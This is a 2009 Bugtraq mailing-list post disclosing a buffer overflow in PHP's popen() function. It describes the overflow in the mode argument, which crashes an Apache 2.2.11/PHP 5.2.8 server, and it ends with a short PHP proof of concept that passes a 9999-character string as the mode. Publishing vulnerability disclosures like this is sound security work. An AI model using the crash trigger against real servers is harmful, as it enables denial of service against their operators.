bugtraq - PHP Buffer Overflow(popen)

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Date: 12 Jan 2009 13:36:37 -0000
From: ew1zz@...mail.com
To: bugtraq@...urityfocus.com
Subject: PHP Buffer Overflow(popen)

Apache 2.2.11/PHP 5.2.8 Buffer Overflow Exploit (popen func)

Type: Remote and Local

Requirements for exploit: popen() enabled.

By: e.wiZz!  Enes Muši&#263;   ew1zz@...mail.com

PHP Popen() function overview:

Popen function in php opens a pipe to a process executed by forking the command given by command.
It was implementet since PHP 4 version.
     popen ( string $command_to_execute , string $mode )

Second argument is vulnerable to buffer overflow.Reason why i mentioned Apache here,is because
when we execute poc.php Apache HTTP server crash without any report in error log.You can test on WAMP too,on CLI or browser.

Tested on: PHP 5.2.8/4.2.1/4.2.0
           Apache 2.2.11

PoC:

<?php
$____buff=str_repeat("A",9999);
$handle = popen('/whatever/', $____buff);
echo $handle;
?>